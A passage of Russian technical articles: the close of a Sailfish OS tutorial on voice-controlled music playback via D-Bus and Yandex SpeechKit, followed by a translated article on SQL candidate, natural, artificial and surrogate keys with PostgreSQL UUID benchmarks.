Здесь был модифицирован элемент [DBusAdaptor](https://sailfishos.org/develop/docs/nemo-qml-plugin-dbus/qml-org-nemomobile-dbus-dbusadaptor.html/), используемый для предоставления DBus-интерфейса, путём добавления метода *shuffleAndPlay*. В нём используется стандартный функционал плеера для запуска воспроизведения всех композиций в случайном порядке, предоставляемый модулем c*om.jolla.mediaplayer*, и выводится на передний план текущая очередь воспроизведения.
В рамках примера, для простоты, была выполнена простая модификация системного файла. Однако, при распространении программы подобные изменения необходимо оформлять в виде патчей, воспользовавшись [соответствующими инструкциями](https://github.com/sailfishos-patches/patchmanager/blob/master/README.md).
Теперь из разрабатываемой программы необходимо обратиться к новому методу. Это выполняется с помощью уже знакомого элемента [DBusInterface](https://sailfishos.org/develop/docs/nemo-qml-plugin-dbus/qml-org-nemomobile-dbus-dbusinterface.html/), в котором осуществляется подключение к определённому выше сервису и реализуется вызов добавленной в плеер функции.
```
DBusInterface {
id: mediaPlayer
service: "com.jolla.mediaplayer"
iface: "com.jolla.mediaplayer.ui"
path: "/com/jolla/mediaplayer/ui"
function shuffleAndPlay() {
call("shuffleAndPlay", undefined)
}
}
```
##### Запуск плеера, если закрыт
Наконец, последнее, что осталось — запуск аудиоплеера если он закрыт. Условно, задачу можно разделить на два этапа:
* непосредственно запуск плеера,
* ожидание сканирования музыкальной коллекции.
```
void DBusHelper::startMediaplayerIfNeed() {
QDBusReply reply =
QDBusConnection::sessionBus().interface()->isServiceRegistered("com.jolla.mediaplayer");
if (!reply.value()) {
QProcess process;
process.start("/bin/bash -c \"jolla-mediaplayer &\"");
process.waitForFinished();
QDBusInterface interface("com.jolla.mediaplayer", "/com/jolla/mediaplayer/ui",
"com.jolla.mediaplayer.ui");
while (true) {
QDBusReply reply = interface.call("isSongsModelFinished");
if (reply.isValid() && reply.value()) break;
QThread::sleep(1);
}
}
}
```
Из кода представленной функции видно, что на первом этапе выполняется проверка наличия необходимого DBus-сервиса. Если он зарегистрирован в системе, то функция завершает работу и выполняется переход к запуску воспроизведения. Если же сервис не найден, то создаётся новый экземпляр аудиоплеера, используя [QProcess](http://doc.qt.io/qt-5/qprocess.html), с ожиданием полного его запуска. Во второй части функции, с помощью [QDBusInterface](http://doc.qt.io/qt-5/qdbusinterface.html), проверяется флаг окончания сканирования коллекции музыки на устройстве.
Следует отметить, что для проверки флага сканирования коллекции были сделаны два дополнительных изменения в файле */usr/share/jolla-mediaplayer/mediaplayer.qml*.
Во-первых, был модифицирован элемент *GriloTrackerModel*, предоставляемый модулем *com.jolla.mediaplayer*, путём добавления флага окончания сканирования.
```
GriloTrackerModel {
id: allSongModel
property bool isFinished: false
query: {
//: placeholder string for albums without a known name
//% "Unknown album"
var unknownAlbum = qsTrId("mediaplayer-la-unknown-album")
//: placeholder string to be shown for media without a known artist
//% "Unknown artist"
var unknownArtist = qsTrId("mediaplayer-la-unknown-artist")
return AudioTrackerHelpers.getSongsQuery("", {"unknownArtist": unknownArtist, "unknownAlbum": unknownAlbum})
}
onFinished: {
isFinished = true
var artList = fetchAlbumArts(3)
if (artList[0]) {
if (!artList[0].url || artList[0].url == "") {
mediaPlayerCover.idleArtist = artList[0].author ? artList[0].author : ""
mediaPlayerCover.idleSong = artList[0].title ? artList[0].title : ""
} else {
mediaPlayerCover.idle.largeAlbumArt = artList[0].url
mediaPlayerCover.idle.leftSmallAlbumArt = artList[1] && artList[1].url ? artList[1].url : ""
mediaPlayerCover.idle.rightSmallAlbumArt = artList[2] && artList[2].url ? artList[2].url : ""
mediaPlayerCover.idle.sourcesReady = true
}
}
}
}
```
Во-вторых, была добавлена ещё одна функция, доступная через DBus-интерфейс *com.jolla.mediaplayer.ui*, возвращающая значение флага состояния сканирования коллекции аудиофайлов.
```
function isSongsModelFinished() {
return allSongModel.isFinished
}
```
### Сообщение об ошибочной команде
Последним элементом примера является голосовое сообщение о неправильной команде. Для этого воспользуемся сервисом синтеза речи Яндекс SpeechKit Cloud.
```
Audio { id: audio }
function generateErrorMessage(query) {
var message = "Извините. Команда " + query + " не найдена."
audio.source = "https://tts.voicetech.yandex.net/generate?" +
"text=\"" + message + "\"&" +
"format=mp3&" +
"lang=ru-RU&" +
"speaker=jane&" +
"emotion=good&" +
"key=API_KEY"
audio.play()
}
```
Здесь был создан объект Audio для воспроизведения сгенерированной речи и объявлена функция *generateErrorMessage* для формирования запроса к серверу Яндекс и запуска воспроизведения. В запросе передаются следующие параметры:
* *text* — текст для синтеза (сообщение о неверной голосовой команде),
* *format* — формат возвращаемого файла (mp3),
* *lang* — язык фразы (русский),
* *speaker* — голос озвучки (женский),
* *emotion* — эмоциональная окраска голоса (доброжелательная),
* *key* — полученный в начале статьи ключ.
### Заключение
В рамках данной статьи рассмотрен простой пример управления воспроизведением музыки в стандартном аудиоплеере Sailfish OS с помощью голосовых команд; получены и повторены базовые знания о распознавании и синтезе речи с помощью Яндекс SpeechKit Cloud с использованием средств Qt, а также принципы взаимодействия программ друг с другом в Sailfish OS. Данный материал может послужить отправной точкой для более глубоких изысканий и экспериментов в данной операционной системе.
Пример работы приведённого кода можно посмотреть на видео:
Автор: Пётр Вытовтов | https://habr.com/ru/post/313680/ | null | ru | null |
# SQL ключи во всех подробностях
В Интернете полно догматических заповедей о том, как нужно выбирать и использовать ключи в реляционных базах данных. Иногда споры даже переходят в холивары: использовать естественные или искусственные ключи? Автоинкрементные целые или UUID?
Прочитав шестьдесят четыре статьи, пролистав разделы пяти книг и задав кучу вопросов в IRC и StackOverflow, я (автор оригинальной статьи **Joe «begriffs» Nelson**), как мне кажется, собрал куски паззла воедино и теперь смогу примирить противников. Многие споры относительно ключей возникают, на самом деле, из-за неправильного понимания чужой точки зрения.
### Содержание
* [Что же такое «ключи»?](#keys)
* [Любопытный случай первичных ключей](#happening)
* [Выбор естественных ключей](#choice)
* [Искусственные ключи](#artificial)
* [Суррогатные ключи](#surrogate)
* [Автоинкрементные BIGINT](#auto-increment)
* [UUID](#uuid)
* [Итоги и рекомендации](#sum)
Давайте разделим проблему на части, а в конце соберём её снова. Для начала зададим вопрос – что же такое «ключ»?
### Что же такое «ключи»?
Забудем на минуту о *первичных* ключах, нас интересует более общая идея. Ключ — это колонка (column) или колонки, не имеющие в строках дублирующих значений. Кроме того, колонки должны быть неприводимо уникальными, то есть никакое подмножество колонок не обладает такой уникальностью.
Для примера рассмотрим таблицу для подсчёта карт в карточной игре:
```
CREATE TABLE cards_seen (
suit text,
face text
);
```
Если мы отслеживаем одну колоду (то есть без повторяющихся карт), то сочетание рубашки и лица уникально и нам бы не хотелось вносить в таблицу одинаковые рубашку и лицо дважды, потому что это будет избыточно. Если карта есть в таблице, то мы видели её, в противном случае — не видели.
Мы можем и должны задать базе данных это ограничение, добавив следующее:
```
CREATE TABLE cards_seen (
suit text,
face text,
UNIQUE (suit, face)
);
```
Сами по себе ни `suit` (рубашка), ни `face` (лицо) не являются уникальными, мы можем увидеть разные карты с одинаковыми рубашкой или лицом. Поскольку `(suit, face)` уникально, а отдельные колонки не уникальны, можно утверждать, что их сочетание неприводимо, а `(suit, face)` является ключом.
В более общей ситуации, когда нужно отслеживать несколько колод карт, можно добавить новое поле и записывать сколько раз мы видели карту:
```
CREATE TABLE cards_seen (
suit text,
face text,
seen int
);
```
Хотя тройка `(suit, face, seen)` получается уникальной, она не является ключом, потому что подмножество `(suit, face)` тоже должно быть уникальным. Это необходимо, поскольку две строки с одинаковыми рубашкой и лицом, но разными значениями `seen` будут противоречащей информацией. Поэтому ключом является `(suit, face)`, и больше в этой таблице нет никаких ключей.
> #### Ограничения уникальности
>
>
>
> В PostgreSQL предпочтительным способом добавления ограничения уникальности является его прямое объявление, как в нашем примере. Использование индексов для соблюдения ограничения уникальности может понадобится в отдельных случаях, но не стоит обращаться к ним напрямую. Нет необходимости в ручном создании индексов для колонок, уже объявленных уникальными; такие действия будут просто дублировать автоматическое создание индекса.
Также в таблице без проблем может быть несколько ключей, и мы должны объявить их *все*, чтобы соблюдать их уникальность в базе данных.
Вот два примера таблиц с несколькими ключами.
```
-- Три ключа
CREATE TABLE tax_brackets (
min_income numeric(8,2),
max_income numeric(8,2),
tax_percent numeric(3,1),
UNIQUE(min_income),
UNIQUE(max_income),
UNIQUE(tax_percent)
);
-- Два ключа
CREATE TABLE flight_roster (
departure timestamptz,
gate text,
pilot text
UNIQUE(departure, gate),
UNIQUE(departure, pilot)
);
```
Ради краткости в примерах отсутствуют любые другие ограничения, которые были бы на практике. Например, у карт не должно быть отрицательное число просмотров, и значение NULL недопустимо для большинства рассмотренных колонок (за исключением колонки `max_income` для налоговых групп, в которой NULL может обозначать бесконечность).
### Любопытный случай первичных ключей
То, что в предыдущем разделе мы назвали просто «ключами», обычно называется «потенциальными ключами» (candidate keys). Термин «candidate» подразумевает, что все такие ключи конкурируют за почётную роль «первичного ключа» (primary key), а оставшиеся назначаются «альтернативными ключами» (alternate keys).
Потребовалось какое-то время, чтобы в реализациях SQL пропало несоответствие ключей и реляционной модели, самые ранние базы данных были заточены под низкоуровневую концепцию первичного ключа. Первичные ключи в таких базах требовались для идентификации физического расположения строки на носителях с последовательным доступом к данным. Вот как это объясняет Джо Селко:
> Термин «ключ» означал ключ сортировки файла, который был нужен для выполнения любых операций обработки в последовательной файловой системе. Набор перфокарт считывался в одном и только в одном порядке; невозможно было «вернуться назад». Первые накопители на магнитных лентах имитировали такое же поведение и не позволяли выполнять двунаправленный доступ. Т.е., первоначальный Sybase SQL Server для чтения предыдущей строки требовал «перемотки» таблицы на начало.
В современном SQL не нужно ориентироваться на физическое представление информации, таблицы моделируют связи и внутренний порядок строк вообще не важен. Однако, и сейчас SQL-сервер по умолчанию создаёт кластерный индекс для первичных ключей и, по старой традиции, физически выстраивает порядок строк.
В большинстве баз данных первичные ключи сохранились как пережиток прошлого, и едва ли обеспечивают что-то, кроме отражения или определения физического расположения. Например, в таблице PostgreSQL объявление первичного ключа автоматически накладывает ограничение NOT NULL и определяет внешний ключ по умолчанию. К тому же первичные ключи являются предпочтительными столбцами для оператора JOIN.
Первичный ключ не отменяет возможности объявления и других ключей. В то же время, если ни один ключ не назначен первичным, то таблица все равно будет нормально работать. Молния, во всяком случае, в вас не ударит.
### Нахождение естественных ключей
Рассмотренные выше ключи называются «естественными», потому что они являются свойствами моделируемого объекта интересными сами по себе, даже если никто не стремится сделать из них ключ.
Первое, что стоит помнить при исследовании таблицы на предмет возможных естественных ключей — нужно стараться не перемудрить. Пользователь sqlvogel на StackExchange даёт следующий совет:
> У некоторых людей возникают сложности с выбором «естественного» ключа из-за того, что они придумывают гипотетические ситуации, в которых определённый ключ может и не быть уникальным. Они не понимают самого смысла задачи. Смысл ключа в том, чтобы определить правило, по которому атрибуты в любой момент времени должны быть и всегда будут уникальными в конкретной таблице. Таблица содержит данные в конкретном и хорошо понимаемом контексте (в «предметной области» или в «области дискурса») и единственное значение имеет применение ограничения в этой конкретной области.
Практика показывает, что нужно вводить ограничение по ключу, когда колонка уникальна при имеющихся значениях и будет оставаться такой при вероятных сценариях. А при необходимости ограничение можно устранить (если это вас беспокоит, то ниже мы расскажем о стабильности ключа.)
Например, база данных членов хобби-клуба может иметь уникальность в двух колонках — first\_name, last\_name. При небольшом объёме данных дубликаты маловероятны, и до возникновения реального конфликта использовать такой ключ вполне разумно.
С ростом базы данных и увеличением объёма информации, выбор естественного ключа может стать сложнее. Хранимые нами данные являются упрощением внешней реальности, и не содержат в себе некоторые аспекты, которыми различаются объекты в мире, такие как их изменяющиеся со временем координаты. Если у объекта отсутствует какой-либо код, то как различить две банки с напитком или две коробки с овсянкой, кроме как по их расположению в пространстве или по небольшим различиям в весе или упаковке?
Именно поэтому органы стандартизации создают и наносят на продукцию различительные метки. На автомобилях штампуется Vehicle Identification Number (VIN), в книгах печатается ISBN, на упаковке пищевых товаров есть UPC. Вы можете возразить, что эти числа не кажутся естественными. Так почему же я называю их естественными ключами?
Естественность или искусственность уникальных свойств в базе данных относительна к внешнему миру. Ключ, который при своём создании в органе стандартизации или государственном учреждении был искусственным, становится для нас естественным, потому что в целом мире он становится стандартом и/или печатается на объектах.
Существует множество отраслевых, общественных и международных стандартов для различных объектов, в том числе для валют, языков, финансовых инструментов, химических веществ и медицинских диагнозов. Вот некоторые из значений, которые часто используются в качестве естественных ключей:
* Коды стран по ISO 3166
* Коды языков по ISO 639
* Коды валют по ISO 4217
* Биржевые обозначения ISIN
* UPC/EAN, VIN, GTIN, ISBN
* имена логинов
* адреса электронной почты
* номера комнат
* mac-адрес в сети
* (широта, долгота) для точек на поверхности Земли
Рекомендуем объявлять ключи, когда это возможно и разумно, может быть, даже несколько ключей на таблицу. Но помните, что у всего вышеперечисленного могут быть исключения.
* Не у всех есть адрес электронной почты, хотя в некоторых условиях использования базы данных это может быть приемлемо. Кроме того, люди время от времени меняют свои электронные адреса. (Подробнее о стабильности ключей позже.)
* Биржевые обозначения ISIN время от времени изменяются, например, символы GOOG и GOOGL не точно описывают реорганизацию компании из Google в Alphabet. Иногда может возникнуть путаница, как, например, с TWTR и TWTRQ, некоторые инвесторы ошибочно покупали последние во время IPO Twitter.
* Номера социального страхования используются только гражданами США, имеют ограничения конфиденциальности и повторно используются после смерти. Кроме того, после кражи документов люди могут получить новые номера. Наконец, один и тот же номер может идентифицировать и лицо, и идентификатор налога на прибыль.
* Почтовые индексы — плохой выбор для городов. У некоторых городов общий индекс, или наоборот в одном городе бывает несколько индексов.
### Искусственные ключи
С учётом того, что ключ – это колонка, в каждой строке которой находятся уникальные значения, одним из способов его создания является жульничество – в каждую строку можно записать выдуманные уникальные значения. Это и есть искусственные ключи: придуманный код, используемый для ссылки на данные или объекты.
Очень важно то, что код генерируется из самой базы данных и неизвестен никому, кроме пользователей базы данных. Именно это отличает искусственные ключи от стандартизированных естественных ключей.
Преимущество естественных ключей заключается в защите от дублирования или противоречивости строк таблицы, искусственные же ключи полезны потому, что они позволяют людям или другим системам проще ссылаться на строку, а также повышают скорость операций поиска и объединения, так как не используют сравнения строковых (или многостолбцовых) ключей.
> #### Суррогаты
>
>
>
> Искусственные ключи используются в качестве привязки – вне зависимости от изменения правил и колонок, одну строку всегда можно идентифицировать одинаковым способом. Искусственный ключ, используемый для этой цели, называется «суррогатным ключом» и требует особого внимания. Суррогаты мы рассмотрим ниже.
Не являющиеся суррогатами искусственные ключи удобны для ссылок на строку *снаружи* базы данных. Искусственный ключ кратко идентифицирует данные или объект: он может быть указан как URL, прикреплён к счёту, продиктован по телефону, получен в банке или напечатан на номерном знаке. (Номерной знак автомобиля для нас является естественным ключом, но разработан государством как искусственный ключ.)
Искусственные ключи нужно выбирать, учитывая возможные способы их передачи, чтобы минимизировать опечатки и ошибки. Надо учесть, что ключ могут произносить, читать напечатанным, отправлять по SMS, читать написанным от руки, вводить с клавиатуры и встраивать в URL. Дополнительно, некоторые искусственные ключи, например, номера кредитных карт, содержат [контрольную сумму](https://begriffs.com/posts/2017-10-21-sql-domain-integrity.html#credit-card-validation), чтобы при возникновении определённых ошибок их можно было хотя бы распознать.
Примеры:
* Для номерных знаков США существуют [правила](https://en.wikipedia.org/wiki/United_States_license_plate_designs_and_serial_formats#Skipping_characters) об использовании неоднозначных признаков, например `O` и `0`.
* Больницы и аптеки должны быть особенно аккуратны, учитывая почерк врачей.
* Передаёте эсэмэской код подтверждения? Не выходите за пределы набора символов [GSM 03.38](https://en.wikipedia.org/wiki/GSM_03.38).
* В отличие от Base64, кодирующего произвольные байтовые данные, [Base32](https://philzimmermann.com/docs/human-oriented-base-32-encoding.txt) использует ограниченный набор символов, который удобно использовать людям и обрабатывать на старых компьютерных системах.
* [Proquints](https://arxiv.org/html/0901.4016) – это читаемые, записываемые и произносимые идентификаторы. Это произносимые (PRO-nouncable) пятёрки (QUINT-uplets) однозначно понимаемых согласных и гласных букв.
Учтите, что как только вы познакомите мир со своим искусственным ключом, люди странным образом начнут придавать ему особое внимание. Достаточно посмотреть на «блатные» номерные знаки или на систему создания произносимых идентификаторов, которая превратилась в печально известный [автоматизированный генератор ругательств](http://thedailywtf.com/articles/The-Automated-Curse-Generator).
Даже, если ограничиться числовыми ключами, есть табу типа [тринадцатого этажа](https://en.wikipedia.org/wiki/Thirteenth_floor). Несмотря на то, что proquints обладают большей плотностью информации на произносимый слог, числа тоже неплохи во многих случаях: в URL, пин-клавиатурах и написанных от руки записях, если получатель знает, что ключ состоит только из цифр.
Однако, обратите внимание, что не стоит использовать последовательный порядок в публично открытых числовых ключах, поскольку это позволяет рыться в ресурсах (`/videos/1.mpeg`, `/videos/2.mpeg`, и так далее), а также создаёт утечку информации о количестве данных. Наложите на последовательность чисел сеть Фейстеля и сохраните уникальность, скрыв при этом порядок чисел.
В wiki PostgreSQL есть пример функции [псевдошифрования](https://wiki.postgresql.org/wiki/Pseudo_encrypt):
```
CREATE OR REPLACE FUNCTION pseudo_encrypt(VALUE int) returns int AS $$
DECLARE
l1 int;
l2 int;
r1 int;
r2 int;
i int:=0;
BEGIN
l1:= (VALUE >> 16) & 65535;
r1:= VALUE & 65535;
WHILE i < 3 LOOP
l2 := r1;
r2 := l1 # ((((1366 * r1 + 150889) % 714025) / 714025.0) * 32767)::int;
l1 := l2;
r1 := r2;
i := i + 1;
END LOOP;
RETURN ((r1 << 16) + l1);
END;
$$ LANGUAGE plpgsql strict immutable;
```
Эта функция является обратной самой себе (т.е. `pseudo_encrypt(pseudo_encrypt(x)) = x`). Точное воспроизведение функции является своего рода безопасностью через неясность, и если кто-нибудь догадается, что вы использовали сеть Фейстеля из документации PostgreSQL, то ему будет легко получить исходную последовательность. Однако вместо `(((1366 * r1 + 150889) % 714025) / 714025.0)` можно использовать другую функцию с областью значений от 0 до 1, например, просто поэкспериментировать с числами в предыдущем выражении.
Вот, как использовать pseudo\_encrypt:
```
CREATE SEQUENCE my_table_seq;
CREATE TABLE my_table (
short_id int NOT NULL
DEFAULT pseudo_encrypt(
nextval('my_table_seq')::int
),
-- другие колонки …
UNIQUE (short_id)
);
```
Такое решение сохраняет случайные значения в столбце `short_id`, если же важно поддерживать высокие скорости обработки данных, то можно хранить в таблице саму инкрементную последовательность и преобразовывать её при запросе отображения с помощью `pseudo_encrypt`. Как мы увидим позже, индексирование рандомизированных значений может привести к увеличению объёма записи.
В предыдущем примере для `short_id` использовались целые значения обычного размера, для `bigint` есть другие функции Фейстеля, например [XTEA](https://en.wikipedia.org/wiki/XTEA).
Ещё один способ запутать последовательность целых чисел заключается в преобразовании её в короткие строки. Попробуйте воспользоваться расширением [pg\_hashids](https://github.com/iCyberon/pg_hashids):
```
CREATE EXTENSION pg_hashids;
CREATE SEQUENCE my_table_seq;
CREATE TABLE my_table (
short_id text NOT NULL
DEFAULT id_encode(
nextval('my_table_seq'),
' long string as table-specific salt '
),
-- другие колонки …
UNIQUE (short_id)
);
INSERT INTO my_table VALUES
(DEFAULT), (DEFAULT), (DEFAULT);
SELECT * FROM my_table;
/*
┌──────────┐
│ short_id │
├──────────┤
│ R4 │
│ ya │
│ Ll │
└──────────┘
*/
```
Здесь снова будет быстрее хранить в таблице сами целые числа и преобразовывать их по запросу, но замерьте производительность и посмотрите, имеет ли это смысл на самом деле.
Теперь, чётко разграничив смысл искусственных и естественных ключей, мы видим, что споры «естественные против искусственных» являются ложной дихотомией. Искусственные и естественные ключи не исключают друг друга! В одной таблице могут быть и те, и другие. На самом деле, таблица с искусственным ключом должна обеспечивать и естественный ключ, за редким исключением, когда не существует естественного ключа (например, в таблице кодов купонов):
```
-- Редкий пример таблицы: нет потенциальных естественных ключей,
-- которые можно объявить вместе с искусственным ключом "code"
CREATE TABLE coupons (
code text NOT NULL,
amount numeric(5,2) NOT NULL,
redeemed boolean NOT NULL DEFAULT false,
UNIQUE (code)
);
```
Если у вас есть искусственный ключ и вы не объявляете естественные ключи, когда они существуют, то оставляете последние незащищёнными:
```
CREATE TABLE cars (
car_id bigserial NOT NULL,
vin varchar(17) NOT NULL,
year int NOT NULL,
UNIQUE (car_id)
-- нужно было добавить
-- UNIQUE (vin)
);
-- К сожалению, это успешно выполнится
INSERT INTO cars (vin, year) VALUES
('1FTJW36F2TEA03179', 1996),
('1FTJW36F2TEA03179', 1997);
```
Единственным аргументом против объявления дополнительных ключей является то, что каждый новый несёт за собой ещё один уникальный индекс и увеличивает затраты на запись в таблицу. Конечно, зависит от того, насколько вам важна корректность данных, но, скорее всего, ключи все же стоит объявлять.
Также стоит объявлять несколько искусственных ключей, если они есть. Например, у организации есть кандидаты на работу (Applicants) и сотрудники (Employees). Каждый сотрудник когда-то был кандидатом, и относится к кандидатам по своему собственному идентификатору, который также должен быть и ключом сотрудника. Ещё один пример, можно задать идентификатор сотрудника и имя логина как два ключа в Employees.
### Суррогатные ключи
Как уже упоминалось, важный тип искусственного ключа называется «суррогатный ключ». Он не должен быть кратким и передаваемым, как другие искусственные ключи, а используется как внутренняя метка, всегда идентифицирующая строку. Он используется в SQL, но приложение не обращается к нему явным образом.
Если вам знакомы [системные колонки (system columns)](https://www.postgresql.org/docs/10/static/ddl-system-columns.html) из PostgreSQL, то вы можете воспринимать суррогаты почти как параметр реализации базы данных (вроде ctid), который однако никогда не меняется. Значение суррогата выбирается один раз для каждой строки и потом никогда не изменяется.
Суррогатные ключи отлично подходят в качестве внешних ключей, при этом необходимо указать каскадные ограничения `ON UPDATE RESTRICT`, чтобы соответствовать неизменности суррогата.
С другой стороны, внешние ключи к публично передаваемым ключам должны быть помечены `ON UPDATE CASCADE`, чтобы обеспечить максимальную гибкость. (Каскадное обновление выполняется на том же [уровне изоляции](https://begriffs.com/posts/2017-08-01-practical-guide-sql-isolation.html), что и окружающая его транзакция, поэтому не беспокойтесь о проблемах с параллельным доступом – база данных справится, если выбрать строгий уровень изоляции.)
Не делайте суррогатные ключи «естественными». Как только вы покажете значение суррогатного ключа конечным пользователям, или, что хуже, позволите им работать с этим значением (в частности через поиск), то фактически придадите ключу значимость. Потом показанный ключ из вашей базы данных может стать естественным ключом в чьей-то чужой БД.
Принуждение внешних систем к использованию других искусственных ключей, специально предназначенных для передачи, позволяет нам при необходимости изменять эти ключи в соответствии с меняющимися потребностями, в то же время поддерживая внутреннюю целостность ссылок с помощью суррогатов.
#### Автоинкрементные bigint
Чаще всего для суррогатных ключей используют автоинкрементную колонку «bigserial», также известную как `IDENTITY`. (На самом деле, PostgreSQL 10 теперь, как и Oracle, поддерживает конструкцию IDENTITY, см. [CREATE TABLE](https://www.postgresql.org/docs/10/static/sql-createtable.html).)
Однако, я считаю, что автоинкрементное целое плохой выбор для суррогатных ключей. Такое мнение непопулярно, поэтому позвольте мне объясниться.
Недостатки последовательных ключей:
* Если все последовательности начинаются с 1 и постепенно увеличиваются, то у строк из разных таблиц будут одинаковые значения ключей. Такой вариант неидеален, предпочтительнее все же использовать непересекающиеся множества ключей в таблицах, чтобы, например, запросы не смогли бы случайно перепутать константы в JOIN и вернуть неожиданные результаты. (Как вариант для обеспечения отсутствия пересечений, можно составить каждую последовательность из чисел, кратных различным простым, но это будет довольно трудоёмко.)
* Вызов `nextval()` для генерации последовательности в современных распределённых SQL, приводит к тому, что вся система хуже масштабируется.
* Поглощение данных из базы данных, в которой тоже использовались последовательные ключи, приведет к конфликтам, потому что последовательные значения не будут уникальными в разных системах.
* С философской точки зрения последовательное увеличение чисел связано со старыми системами, в которых подразумевался порядок строк. Если же вы теперь хотите упорядочить строки, то делайте это явным образом, с помощью колонки меток времени или чего-то имеющего смысл в ваших данных. В противном случае нарушается первая нормальная форма.
* (Слабая причина, но) эти короткие идентификаторы так и тянет сообщить кому-нибудь.
#### UUID
Давайте рассмотрим другой вариант: использование больших целых чисел (128-битных), генерируемых в соответствии со случайным шаблоном. Алгоритмы генерации таких универсальных уникальных идентификаторов (universally unique identifier, UUID) имеют чрезвычайно малую вероятность выбора одного значения дважды, даже при одновременном выполнении на двух разных процессорах.
В таком случае, UUID кажутся естественным выбором для использования в качестве суррогатных ключей, не правда ли? Если вы хотите пометить строки уникальным образом, то ничто не сравнится с уникальной меткой!
Так почему же все не пользуются ими в PostgreSQL? На это есть несколько надуманных причин и одна логичная, которую можно обойти, и я представлю бенчмарки, чтобы проиллюстрировать свое мнение.
Для начала, расскажу о надуманных причинах. Некоторые люди думают, что UUID — это строки, потому что они записываются в традиционном шестнадцатеричном виде с дефисом: 5bd68e64-ff52-4f54-ace4-3cd9161c8b7f. Действительно, некоторые базы данных не имеют компактного (128-битного) типа uuid, но в PostgreSQL [он есть](https://www.postgresql.org/docs/current/static/datatype-uuid.html) и имеет размер двух bigint, т.е., по сравнению с объёмом прочей информации в базе данных, издержки незначительны.
Ещё UUID незаслуженно обвиняется в громоздкости, но кто будет их произносить, печатать или читать? Мы говорили, что это имеет смысл для показываемых искусственных ключей, но никто (по определению) не должен увидеть суррогатный UUID. Возможно, с UUID будет иметь дело разработчик, запускающий команды SQL в psql для отладки системы, но на этом всё. А разработчик может ссылаться на строки и с помощью более удобных ключей, если они заданы.
**Реальная проблема с UUID в том, что сильно рандомизированные значения приводят к увеличению объёма записи (write amplification) из-за записей полных страниц в журнал с упреждающей записью (write-ahead log, WAL).** Однако, на самом деле снижение производительности зависит от алгоритма генерации UUID.
Давайте измерим write amplification. По правде говоря, проблема в старых файловых системах. Когда PostgreSQL выполняет запись на диск, она изменяет «страницу» на диске. При отключении питания компьютера большинство файловых систем всё равно сообщит об успешной записи ещё до того, как данные безопасно сохранились на диске. Если PostgreSQL наивно воспримет такое действие завершённым, то при последующей загрузке системы база данных будет повреждена.
Раз PostgreSQL не может доверять большинству ОС/файловых систем/конфигураций дисков в вопросе обеспечения неразрывности, база данных сохраняет полное состояние изменённой дисковой страницы в журнал с упреждающей записью (write-ahead log), который можно будет использовать для восстановления после возможного сбоя. Индексирование сильно рандомизированных значений наподобие UUID обычно затрагивает кучу различных страниц диска и приводит к записи полного размера страницы (обычно 4 или 8 КБ) в WAL для каждой новой записи. Это так называемая полностраничная запись (full-page write, FPW).
Некоторые алгоритмы генерации UUID (такие, как «snowflake» от Twitter или `uuid_generate_v1()` в расширении [uuid-ossp](https://www.postgresql.org/docs/10/static/uuid-ossp.html) для PostgreSQL) создают на каждой машине монотонно увеличивающиеся значения. Такой подход консолидирует записи в меньшее количество страниц диска и снижает FPW.
Давайте измерим влияние FPW для различных алгоритмов генерации UUID, а также исследуем статистику WAL. Я использовал следующую конфигурацию для замера.
* Экземпляр EC2 с запущенным ami-aa2ea6d0
+ Ubuntu Server 16.04 LTS (HVM)
+ EBS General Purpose (SSD)
+ c3.xlarge
+ vCPU: 4
+ RAM GiB: 7.5
+ Disk GB: 2 x 40 (SSD)
* PostgreSQL, собранная из исходников
+ [ftp.postgresql.org/pub/source/v10.1/postgresql-10.1.tar.gz](https://ftp.postgresql.org/pub/source/v10.1/postgresql-10.1.tar.gz)
+ `./configure --with-uuid=ossp CFLAGS="-O3"`
* Конфигурация базы данных по умолчанию, со следующими исключениями:
+ max\_wal\_size=‘10GB’;
+ checkpoint\_timeout=‘2h’;
+ synchronous\_commit=‘off’;
Схема:
```
CREATE EXTENSION "uuid-ossp";
CREATE EXTENSION pgcrypto;
CREATE TABLE u_v1 ( u uuid PRIMARY KEY );
CREATE TABLE u_crypto ( u uuid PRIMARY KEY );
```
Перед тек, как добавить UUID в каждую таблицу, находим текущую позицию write-ahead log.
```
SELECT pg_walfile_name(pg_current_wal_lsn());
/* Например,
pg_walfile_name
--------------------------
000000010000000000000001
*/
```
Я использовал такую позицию, чтобы получить статистику об использовании WAL после проведения бенчмарка. Так мы получим статистику событий, выполняемых последовательно после начальной позиции:
```
pg_waldump --stats 000000010000000000000001
```
Я провёл тесты трёх сценариев:
1. Добавление UUID, сгенерированных алгоритмом `gen_random_uuid()` ([pgcrypto](https://www.postgresql.org/docs/10/static/pgcrypto.html))
2. Добавление из `uuid_generate_v1()` (предоставленного [uuid-ossp] (https://www.postgresql.org/docs/10/static/uuid-ossp.html)
3. Снова добавление из `gen_random_uuid()`, но теперь с параметром `full_page_writes='off'` в конфигурации БД. Это покажет, насколько всё будет быстрее без увеличения FPW.
Для каждого из этих сценариев я начинал с пустой таблицы и вставлял 220 UUID и повторял процедуру шестнадцать раз, замеряя каждый из них, чтобы отследить, как меняется производительность при большем количестве данных в таблице.
```
-- например, я выполнял это в psql 16 раз с параметром \timing
INSERT INTO u_crypto (
SELECT gen_random_uuid()
FROM generate_series(1, 1024*1024)
);
```
И вот результаты замеров скорости:
*График скорости вставки UUID*
Вот статистика WAL для каждого из способов:
```
gen_random_uuid()
Тип N (%) Размер записи (%) Размер FPI (%)
---- - --- ----------- --- -------- ---
XLOG 260 ( 0.15) 13139 ( 0.09) 484420 ( 30.94)
Heap2 765 ( 0.45) 265926 ( 1.77) 376832 ( 24.07)
Heap 79423 ( 46.55) 6657121 ( 44.20) 299776 ( 19.14)
Btree 89354 ( 52.37) 7959710 ( 52.85) 404832 ( 25.85)
uuid_generate_v1()
Тип N (%) Размер записи (%) Размер FPI (%)
---- - --- ----------- --- -------- ---
XLOG 0 ( 0.00) 0 ( 0.00) 0 ( 0.00)
Heap2 0 ( 0.00) 0 ( 0.00) 0 ( 0.00)
Heap 104326 ( 49.88) 7407146 ( 44.56) 0 ( 0.00)
Btree 104816 ( 50.12) 9215394 ( 55.44) 0 ( 0.00)
gen_random_uuid() with fpw=off
Тип N (%) Размер записи (%) Размер FPI (%)
---- - --- ----------- --- -------- ---
XLOG 4 ( 0.00) 291 ( 0.00) 64 ( 0.84)
Heap2 0 ( 0.00) 0 ( 0.00) 0 ( 0.00)
Heap 107778 ( 49.88) 7654268 ( 46.08) 0 ( 0.00)
Btree 108260 ( 50.11) 8956097 ( 53.91) 7556 ( 99.16)
```
